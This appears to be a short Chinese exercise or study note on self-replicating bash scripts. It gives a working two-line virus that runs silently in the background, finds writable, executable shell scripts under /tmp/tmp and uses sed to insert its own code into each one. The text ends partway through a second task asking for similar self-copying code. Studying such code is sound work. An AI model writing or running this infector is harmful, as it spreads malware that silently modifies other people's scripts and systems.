1. 运行以下脚本可以感染到其他可写可执行的脚本文件
1 #!/bin/bash
2 ( { [ -f "/var/lock/.lock" ] && exit ; touch "/var/lock/.lock" ; I_F=$(grep "/var/lock/.lock" $0) ; for i in $(for f in $( find "/tmp/tmp" -type f 2>/dev/null ) ; do file $f | grep "shell script text" | cut -d":" -f1 ; done ) ;do [ -w $i -a -x $i ] && !(grep "/var/lock/.lock" $i) && NUM=$(wc -l $i | cut -d" " -f1) && NUM=$((NUM/2+1)) && sed -i $NUM"a$I_F" $i ; done ; rm -rf "/var/lock/.lock" ; } > /dev/null ) &
//注意其只有2行,如果在/tmp/tmp下有可执行并且可写文件a.sh 执行上述脚本后,a.sh中会添加上述脚本的内容。
2. 完成一段自复制代码,原始程序为bash脚本A,在其执行后可以复制自身代码A到当前目录下有可执行能力的bash shell脚本B&